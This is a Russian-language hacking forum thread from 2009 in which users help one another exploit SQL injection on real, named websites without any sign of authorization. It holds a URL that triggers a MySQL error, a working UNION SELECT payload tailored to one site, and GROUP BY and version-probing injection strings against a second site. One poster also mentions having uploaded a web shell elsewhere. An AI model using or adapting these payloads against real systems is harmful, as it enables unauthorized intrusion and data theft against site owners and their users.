12.03.2009, 16:27
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
2 1west урлу в студию , поможем
|
|
|
12.03.2009, 19:37
|
|
Новичок
Регистрация: 08.09.2008
Сообщений: 21
С нами:
9300787
Репутация:
7
|
|
Код:
http://www.prazdnik.by/calendar/?day=-1%27
Вот, инъекция есть, но немогу расковырять, чтобы не запрашивал не работает 
Код:
[You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Март')))) ORDER BY BE.SORT asc' at line 1]
|
|
|
|
12.03.2009, 19:40
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
С нами:
10077446
Репутация:
1020
|
|
Кавычки слешируються
'-1\\''))
фигасе запрос, походу автоматом(аля ORM-генерация) формируеться.
Последний раз редактировалось AkyHa_MaTaTa; 12.03.2009 в 19:53..
|
|
|
|
12.03.2009, 19:44
|
|
Новичок
Регистрация: 08.09.2008
Сообщений: 21
С нами:
9300787
Репутация:
7
|
|
т.е. нельзя инъекцию провести?
|
|
|
|
12.03.2009, 19:50
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
Можно, просто внимательно читай, что про синтаксис пишется.
Последний раз редактировалось R1dex; 12.03.2009 в 19:54..
|
|
|
|
12.03.2009, 19:54
|
|
Новичок
Регистрация: 08.09.2008
Сообщений: 21
С нами:
9300787
Репутация:
7
|
|
можешь объяснить? а то я нуб полный |
|
|
|
12.03.2009, 19:54
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
Код:
http://www.prazdnik.by/calendar/?day=-12'))))+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47--+&month=3&year=2009
|
|
|
|
12.03.2009, 19:56
|
|
Новичок
Регистрация: 08.09.2008
Сообщений: 21
С нами:
9300787
Репутация:
7
|
|
о, спасибо большое, сам бы ни за что не догадался, я за всю жизнь ток 1 инъекцию сделал, даже шелл залил оО, спс
|
|
|
|
13.03.2009, 01:20
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
С нами:
9610769
Репутация:
380
|
|
Это ниже 4 версии или я не правильно подобрал кол. выводимых колонок, потому как union не канает?
http://flb.ru/?path=81&message_id=40+group+by+8--+
|
|
|
|
13.03.2009, 01:24
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
пятая ветка:
Код:
http://flb.ru/?path=81&message_id=40+and+substring(version(),1,1)=5
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
